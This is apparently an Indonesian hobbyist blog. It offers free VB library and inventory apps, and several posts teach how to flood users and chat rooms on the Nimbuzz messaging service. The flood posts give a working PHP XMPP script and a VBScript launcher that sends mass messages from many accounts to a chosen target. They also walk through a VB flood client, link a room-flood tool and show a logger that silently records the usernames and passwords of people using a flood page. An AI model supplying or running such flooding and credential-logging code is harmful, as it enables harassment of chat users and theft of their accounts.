Sistem Informasi Perpustakaan 2013

Posted in Free Download with tags , , , , , , , , , , , on 25 January 2013 by Imam BK

screenshoot_simpus2013Seperti biasanya, gak perlu basa basi, dunlud n cobain aja aplikasinya yang dapat ente unduh gratis di link ini http://www.ziddu.com/download/21423722/SIMPUS.zip.html. Klo sebelumnya dah pernah install aplikasi yang databasenya juga pake MySQL dari blog gw ini, ente tinggal buat aja database baru dengan nama db_simpus. Dump file db_simpus.sql-nya (ada di sub folder Support).  Setelah itu buat MySQL ODBC-nya lewat Control Panel >> Administrative Tool >> ODBC dengan nama db_simpus, databasenya arahkan ke db_simpus juga.

DOWNLOAD SIMPUS 2013

Aplikasi Logistik / Inventori (2)

Posted in Free Download with tags , , , , , , , , , , on 21 June 2012 by Imam BK

Sedikit beda dengan aplikasi inventori yang pernah saya posting sebelumnya, menuhin request temen2 agar app databasenya pake yang lebih simpel, juga dilengkapi dengan manual pengoperasiannya sekalian, berikut saya revisi program tersebut di link berikut : Aplikasi Inventori .

Aplikasi Inventori

Lets try… !

29-06-2012 : Patch update file Simbarsada 2012.exe tentang error perhitungan di Kartu Barang dan Persediaan Barang. Copas aja file exe-nya, trus restore file new_view.sql ke mysql databasenya.

Contoh Tampilan Program Warung Sederhana

Posted in Free Download with tags , , , , , , , , on 7 April 2012 by Imam BK

Buat temen – temen yang lagi belajar VB, yang kadang masih bingung mau bikin project apa bwat latihannya, nih aku ada sampel aplikasi sederhana buat referensi.

Download DISINI source installernya, trus Extract file Setup.zip pada sebuah folder di drive anda, lalu buka dan jalankan Setup.exe hingga selesai.

Setelah itu, buat setting koneksi ke database ( dalam hal ini aku pake Ms Access ) caranya lewat menu Control Panel >> System and Security >> Administrative Tools >> Data Sources (ODBC)

Setelah panel ODBC muncul, kemudian klik tombol Add pada tab System DSN, Pilih Microsoft Access Driver ( MDB ), untuk Data Source Name isi db_counter, trus Database File arahkan ke C:\Program Files\Project1\db.mdb

Lets try… !

VBS – PHP Flood

Posted in Uncategorized with tags , , , , , , , , , , , , , , on 19 March 2011 by Imam BK

Bagi yang sudah pernah baca artikel aku tentang cara parsing variabel dengan PHP script dan cara nge-flood menggunakan VB Script tentunya lihat PHP script dan VBScript berikut udah mafhum. Bagi yang belum pernah atau belum tau, aduk – aduk dulu deh artikel aku yang lalu. Lupa aku judulnya. Wkwkwkwk…

Script pv_flood.php berikut sengaja cara parsingnya aku bikin menggunakan metode GET :

BaworVBS:
<HTML><HEAD>
<SCRIPT language='JavaScript' type='text/javascript'> top.window.opener = top.window; top.window.opener.focus(); top.window.close(); </SCRIPT>
</HEAD><BODY></BODY></HTML>
Function IScript_CloseCurrWin()
%Response.WriteLine(GetHTMLText(HTML.BaworVBS));< br />
End-Function;
<?
$resource='NIMBUZZ_MID456';
$host='o.nimbuzz.com';
$port='5222';
$server='nimbuzz.com';
$user = $_GET['nick'];
$password = $_GET['password'];
$to = $_GET['target'];
$jml_nick = $_GET['jml_nick'];
$jml_flood = $_GET['jml_flood'];
$body = $_GET['isi_flood'];
include 'XMPPHP/Log.php';
include 'XMPPHP/XMPP.php';
$koneksi=new XMPPHP_XMPP($host, $port, $user, $password, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);
$koneksi->connect();
$koneksi->processUntil('session_start');
$koneksi->presence();
for ($c=1;$c<=$jml_flood;$c++)
{
$koneksi->message($to, $body);
}
?>

Klo untuk room, mungkin skrip yang bawah gini yah? :

$koneksi->presence(NULL, "bot", $to."@conference.nimbuzz.com/".$user, "available");
for ($c=1;$c<=$jml_flood;$c++)
{
$koneksi->message($to."@conference.nimbuzz.com", $body,"groupchat");
}
$koneksi->presence(NULL, "bot", $to."@conference.nimbuzz.com/".$user."asdgasudaui7887eyi", "unavailable");

Dengan maksud, parsing variabel dari pv_flood.php kita buat dengan VBScript berikut :

nick="nick_nimbuzz_kamu"
password="password_kamu"
target="target@nimbuzz.com"
jml_nick="100"
jml_flood="100"
isi_flood="Text Messsage"
url_local="http://localhost/flood/pv_flood.php"
for i=1 to jml_nick
alamat=url_local & "?nick=" & i & nick & "&password=" & password & "&jml_flood=" & jml_flood & "&target=" & target & "&isi_flood=" & isi_flood
Dim ie
Set ie = CreateObject("internetexplorer.application")
ie.Navigate alamat
ie.Visible=False
next

Klo untuk room, target cuman isi nama roomnya doang. Lalu simpan dengan nama terserah_kamu.vbs. Udah cuman gitu thok. Enteng bikinnya, cukup pake Notepad ajah. Klo untuk room, berkreasi ndiri aja yah? Aku cuman mancing doang… :D

VB Fundamental to Build Nimbuzz Flood Application

Posted in Go Blog ! with tags , , , , , , , , , , , , , , , , , , on 8 March 2011 by Imam BK

To ease understanding how to build nimbuzz flood application based on VB programming languages, you may download a compressed file that containing VB-Form1 here immediately .

You need to know that the script code Form1 is still empty. But do not worry, here I will explain it one by one, row by row. Not only you can copy it to your Form1 script code, but you should try to understand the meaning of  that script.

Now, lets check it out !

1. Declaration of the function below is useful for creating random characters.

Public Function RandomString(ByVal length As Long) As String
Dim charset As String
charset = "1234567890abcd"
Dim chars() As Byte, value() As Byte, chrUprBnd As Long, i As Long
If length > 0& Then
Randomize
chars = charset
chrUprBnd = Len(charset) - 1&
length = (length * 2&) - 1&
ReDim value(length) As Byte
For i = 0& To length Step 2&
value(i) = chars(CLng(chrUprBnd * Rnd) * 2&)
Next
End If
RandomString = value
End Function

To obtain a variable that contains random characters based on functions above, we simply write the following script:

Dim tag_id as string
tag_id=RandomString(7)

It means, we’ll get a string variable names “tag_id” that contains 7 random char. The string may contain one of “1”,”2”,”3”,”4”,”5”,”6”,”7”,”8”,”9”,”0”, “a”, “b”, “c”, or “d“ . In this case, it can be useful to generate xml tags id like :

"<message type='groupchat' id='" & "bawor" & RandomString(7) & "' to='" & txtsubject & "'><body> Your_Message_Here </body></message>”

2. To customize speed of your flood, by changing Combo1 value, it will change Timer1 interval as well.

Private Sub Combo1_Click()
Timer1.Interval = Combo1
End Sub

3. Click  event on Label6 will display a PopUp Menu names jnsKlikKanan

Private Sub Label6_Click()
PopupMenu jnsKiriman
End Sub

This PopUp Menu contains sub menus, such as : mnLogin, mnLogout, cmdOneTime, cmdkontinyu, mnStop, mnStartPing, mnStopPing, and mnClosed

4. If mnClosed have been clicked, Form1 will be unloading

Private Sub mnClose_Click()
Unload Me
End Sub

5. When Form1 unloaded, Timer1, Timer2 will stop, and Winsock1 connection will close.

Private Sub Form_Unload(Cancel As Integer)
Timer1.Enabled = False
Timer2.Enabled = False
Winsock1.Close
End
End Sub

6. Click on sub menu named mnLogin, if all columns that we need have been already filled data, it will open Winsock1 connection with a server, and  locks all Nimbuzz ID fields as well. And sovereign, when one of columns has not been filled, it will appear a message containing a warning.

Private Sub MnLogin_Click()
If MnLogin.Caption = "Login" Then
If txt_User1 = "" Or txt_Password1 = "" Or txt_Resources1 = "" Then
Dim pesan1 As String
pesan1 = MsgBox("Fill your Nimbuzz ID (without @nimbuzz.com), password, and your resources first", vbOKOnly + vbInformation, " Warning..")
Else
MnLogin.Caption = "Cancel"
txt_User1.Locked = True
txt_Password1.Locked = True
txt_Resources1.Locked = True
Winsock1.Connect
End If
Else
Winsock1.Close
Timer1.Enabled = False
MnLogin.Caption = "Login"
Text2.Locked = True
End If
End Sub

7. If the submenu mnLogout is clicked, Winsock1’s connection will be disconnected, and it will unlock all Nimbuzz ID fields

Private Sub mnLogout_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Winsock1.Close
mnSend.Enabled = False
mnPingServer.Enabled = False
MnLogin.Enabled = True
mnLogout.Enabled = False
Text2.Locked = True
txt_User1.Locked = False
txt_Password1.Locked = False
txt_Resources1.Locked = False
Label5 = 0
mnStopPing.Enabled = False
mnStartPing.Enabled = True
End Sub

READ MORE <<

Bawor Flood 4 Room ( Recompile )

Posted in Tips n Trick with tags , , , , , , , , , , , , , , , , , on 1 March 2011 by Imam BK

Ini merupakan aplikasi sederhana, juga sederhana dalam mengoperasikannya. Kamu hanya perlu mengisi kolom isian saja, lalu klik tombol Start Flood. Cobalah untuk join paksa bila JID kamu belum bisa masuk ke ruangan chating. Dan bila kamu menginginkan lebih dari 10 JID dalam sekali pakai, jalankan file aplikasi ini lebih dari satu kali. ( This is a simple application, also simple to operate. You only need to fill in any input field, then click Start Flood button. Try to force joining in if ur JID cant enter the chat room. And if you want more than 10 JID, run that application file more than once. )

Download Here, n Have a Nice Day…!

Sorry, Download here 4 moment

Pasang flood logger di wap/web flood anda

Posted in Tips n Trick with tags , , , , , , , , on 25 February 2011 by Imam BK

Bagi brother yang suka nge-plud pake wap flood orang lain yang link-nya sekarang banyak bertebaran di internet, jangan dulu ngerasa senang ( kecuali anda gak sayang nick anda ) karena bisa saja aktifitas anda terpantau di logger yang punya php flood tersebut.
Dan bagi anda yang wap flood-nya belum terpasang logger, gunakan trick berikut ini :
Pertama, buka note pad anda, buat sebuah file txt kosong (semisal diberi nama “log.txt”), lalu taruh dalam folder yang sama dengan file flood lainnya. Dan jangan lupa set atribut file tersebut bisa di baca(can read) dan bisa di tulisi(can write).

Caranya sederhana banget, tambahkan script loggernya pada file satunya seperti ini :

$file = "log.txt";
$today = date("F j, Y, g:i a");
$handle = fopen($file, 'a');
fwrite($handle, "+++++++++++");
fwrite($handle, "\n");
fwrite($handle, "User: ");
fwrite($handle, "$pengguna"); //diganti dengan nama variabel flood user
fwrite($handle, "\n");
fwrite($handle, "Password: ");
fwrite($handle, "$password"); //diganti dengan nama variabel password
fwrite($handle, "\n");
fwrite($handle, "Date Submitted: ");
fwrite($handle, "$today");
fwrite($handle, "\n");
fwrite($handle, "+++++++++++");
fwrite($handle, "\n");
fwrite($handle, "\n");
fclose($handle);
}
?>

Pengen liat hasilnya? Cobain aja ndiri, lalu buka file log.txt tersebut!

Download sample scriptnya di sini

Follow

Get every new post delivered to your Inbox.